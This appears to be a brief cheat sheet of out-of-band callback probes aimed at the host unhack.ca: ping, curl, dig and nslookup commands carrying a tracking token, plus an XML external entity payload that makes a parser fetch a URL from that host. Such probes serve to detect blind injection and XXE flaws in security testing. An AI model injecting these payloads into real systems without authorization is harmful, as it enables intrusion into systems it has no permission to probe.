$ ping -c1 -p 00f54bb2abb88b8c5370164dd90e0f00 unhack.ca
 

$ curl http://unhack.ca/p/f54bb2abb88b8c5370164dd90e0f
 

$ dig f54bb2abb88b8c5370164dd90e0f @unhack.ca
 

$ dig f54bb2abb88b8c5370164dd90e0f.ns.unhack.ca
 

C:\> nslookup f54bb2abb88b8c5370164dd90e0f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f54bb2abb88b8c5370164dd90e0f">]>
    <foo>&xxe;</foo>